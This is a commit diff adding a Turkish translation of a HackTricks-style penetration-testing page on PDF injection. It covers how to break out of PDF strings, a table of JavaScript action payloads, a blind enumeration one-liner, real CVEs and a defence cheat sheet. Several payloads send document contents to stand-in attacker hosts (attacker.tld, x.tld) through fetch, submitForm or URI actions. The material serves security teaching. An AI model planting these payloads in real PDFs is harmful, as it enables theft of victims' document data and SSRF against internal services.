Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m

This commit is contained in:
Translator 2025-08-04 18:13:50 +00:00
parent f276a19e8b
commit e6e3f77cf8

View File

@ -1,7 +1,55 @@
{{#include ../../banners/hacktricks-training.md}} # PDF Injection
**Eğer girdiniz bir PDF dosyası içinde yansıtılıyorsa, JavaScript çalıştırmak veya PDF içeriğini çalmak için PDF verisi enjekte etmeyi deneyebilirsiniz.**
Chec the post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
**Eğer girdiniz bir PDF dosyası içinde yansıtılıyorsa, JavaScript çalıştırmak, SSRF gerçekleştirmek veya PDF içeriğini çalmak için PDF verisi enjekte etmeyi deneyebilirsiniz.**
PDF sözdizimi son derece hoşgörülüdür eğer girdinizi gömülü olduğu dizeden veya sözlükten çıkarabilirseniz, Acrobat/Chrome'un memnuniyetle ayrıştıracağı tamamen yeni nesneler (veya aynı nesnede yeni anahtarlar) ekleyebilirsiniz.
2024'ten itibaren bir dizi hata ödülü raporu, *bir kaçış karakteri olmayan parantez veya ters eğik çizginin tam script çalıştırmak için yeterli olduğunu* göstermiştir.
## TL;DR Modern Saldırı İş Akışı (2024)
1. Oluşturulan PDF'de **(parantez dizesi)**, `/URI ( … )` veya `/JS ( … )` alanında sona eren herhangi bir kullanıcı kontrolündeki değeri bulun.
2. Dizeyi kapatmak için `) ` enjekte edin ve ardından aşağıdaki ilkelere birini ekleyin ve sözdizimini geçerli tutmak için başka bir açılış parantezi ile bitirin.
3. Kötü niyetli PDF'yi bir kurbanına (veya dosyayı otomatik olarak işleyen bir arka uç hizmetine kör hatalar için harika) teslim edin.
4. Yüklemeniz PDF görüntüleyicide çalışır:
* Chrome / Edge → PDFium Sandbox
* Firefox → PDF.js (bkz. CVE-2024-4367)
* Acrobat → Tam JavaScript API (arbitrary dosya içeriklerini `this.getPageNthWord` ile dışarı aktarabilir)
Örnek (not bağlantısı kaçırma):
```pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
```
*İlk `)` orijinal URI dizesini kapatır, ardından kullanıcı bağlantıya tıkladığında Acrobat'ın gerçekleştireceği yeni bir **Action** sözlüğü ekleriz.*
## Kullanışlı Enjeksiyon Primitifleri
| Hedef | Yük Paylaşım Parçası | Notlar |
|------|-----------------|-------|
| **Açılışta JavaScript** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Belge açıldığında anında çalışır (Acrobat'ta çalışır, Chrome'da çalışmaz). |
| **Bağlantıda JavaScript** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | `/Link` anotasyonunu kontrol ediyorsanız PDFium & Acrobat'ta çalışır. |
| **Kör veri sızdırma** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | İçerik çalmak için JS içinde `this.getPageNthWord` ile birleştirin. |
| **Sunucu Tarafı SSRF** | Yukarıdakiyle aynı ancak dahili bir URL'yi hedefleyin PDF'nin `/URI`'yi dikkate alan arka ofis hizmetleri tarafından render edildiğinde harika. |
| **Yeni nesneler için Satır Sonu** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Kütüphane yeni satır karakterlerini enjekte etmenize izin veriyorsa tamamen yeni nesneler oluşturabilirsiniz. |
## Kör Sayım Hilesi
Gareth Heyes (PortSwigger), bilinmeyen bir belgedeki her nesneyi sayan bir tek satırlık kod yayınladı oluşturulan PDF'yi göremediğinizde kullanışlıdır:
```pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
```
Kod, Acrobat DOM'u üzerinde döngü yapar ve her özellik/değer çifti için dışa açık istekler gönderir, size dosyanın *JSON-benzeri* bir dökümünü verir. Tam teknik için “Portable Data **ex**Filtration” adlı beyaz belgeye bakın.
## Gerçek Dünya Hataları (2023-2025)
* **CVE-2024-4367** Firefoxun PDF.js sürüm 4.2.67 öncesinde, hazırlanmış bir `/JavaScript` eylemi ile kumandayı aşan rastgele JavaScript yürütmesi.
* **Hata ödülü 2024-05** Büyük bir fintech, `/URI`'de yer alan müşteri tarafından sağlanan fatura notlarına izin verdi; `file:///` URI kullanarak iç metadata sunucusuna gösterilen SSRF sonrası rapor $10k ödendi.
* **CVE-2023-26155** Sanitasyona tabi tutulmamış PDF yolu üzerinden `node-qpdf` komut enjeksiyonu, PDF katmanından *önce* ters eğik çizgilerin ve parantezlerin kaçışının önemini gösterir.
## Savunma Hile Sayfası
1. **Asla ham kullanıcı girdisini** `(``)` dizeleri veya adları içinde birleştirmeyin. PDF spesifikasyonunun §7.3'üne göre `\`, `(`, `)` karakterlerini gerektiği gibi kaçırın veya hex dizeleri `<...>` kullanın.
2. Bağlantılar oluşturuyorsanız, *tamamen* URL kodlaması yaptığınız `/URI (https://…)` tercih edin; istemci görüntüleyicilerinde `javascript:` şemalarını engelleyin.
3. PDF'leri son işlemden geçirirken `/OpenAction`, `/AA` (ek eylemler), `/Launch`, `/SubmitForm` ve `/ImportData` sözlüklerini temizleyin veya doğrulayın.
4. Sunucu tarafında, güvenilmeyen PDF'leri JavaScript ve dış eylemleri kaldıran bir *başsız dönüştürücü* (örneğin, qpdf decrypt linearize) ile işleyin.
5. PDF görüntüleyicilerini güncel tutun; PDF.js < 4.2.67 ve Acrobat Reader, Temmuz 2024 yamanmadan önce basit kod yürütmesine izin verir.
## Referanslar
* Gareth Heyes, “Portable Data exFiltration XSS for PDFs”, PortSwigger Research (Mayıs 2024 güncellendi). <https://portswigger.net/research/portable-data-exfiltration>
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Nisan 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
{{#include ../../banners/hacktricks-training.md}}